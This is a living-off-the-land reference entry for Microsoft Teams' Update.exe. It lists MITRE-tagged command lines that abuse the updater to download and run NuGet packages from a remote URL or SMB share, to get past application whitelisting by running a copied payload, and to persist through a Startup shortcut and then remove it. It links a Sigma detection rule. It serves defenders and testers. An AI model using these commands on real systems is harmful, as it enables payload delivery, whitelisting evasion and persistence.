Update.exe

type: OtherMSBinaries

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Full path

C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe

Commands

DownloadUser T1218
Download binary
```
Update.exe --download {REMOTEURL}
```
The above binary will go to url and look for RELEASES file and download the nuget package.
os: Windows 7 and up with Microsoft Teams installed
AWL BypassUser T1218
Download and execute binary
```
Update.exe --update={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
Update.exe --update={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
AWL BypassUser T1218
Download and execute binary
```
Update.exe --update={PATH_SMB:folder}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
Update.exe --update={PATH_SMB:folder}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
AWL BypassUser T1218
Download and execute binary
```
Update.exe --updateRollback={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
Update.exe --updateRollback={REMOTEURL}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
AWL BypassUser T1218
Application Whitelisting Bypass
```
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
```
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current. Then run the command. Update.exe will execute the file you copied.
os: Windows 7 and up with Microsoft Teams installed
Execute: CMDExecute: Remote
AWL BypassUser T1218
Download and execute binary
```
Update.exe --updateRollback={PATH_SMB:folder}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Download and execute binary
```
Update.exe --updateRollback={PATH_SMB:folder}
```
The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Execute: NugetExecute: Remote
ExecuteUser T1218
Execute binary
```
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
```
Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current. Then run the command. Update.exe will execute the file you copied.
os: Windows 7 and up with Microsoft Teams installed
Execute: CMD
ExecuteUser T1547
Execute binary
```
Update.exe --createShortcut={PATH:.exe} -l=Startup
```
Copy your payload into “%localappdata%\Microsoft\Teams\current". Then run the command. Update.exe will create a shortcut to the specified executable in “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup”. Then payload will run on every login of the user who runs it.
os: Windows 7 and up with Microsoft Teams installed
Execute: EXE
ExecuteUser T1070
Execute binary
```
Update.exe --removeShortcut={PATH:.exe}-l=Startup
```
Run the command to remove the shortcut created in the “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup” directory you created with the LolBinExecution “–createShortcut” described on this page.
os: Windows 7 and up with Microsoft Teams installed
Execute: EXE

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
IOCUpdate.exe spawned an unknown process

Code samples

https://github.com/jreegun/POC-s/tree/master/nuget-squirrel

Resources

acknowledgement: Reegun Richard Jayapaul (SpiderLabs, Trustwave) @reegun21, Mr.Un1k0d3r @MrUn1k0d3r, Adam @Hexacorn, Jesus Galvez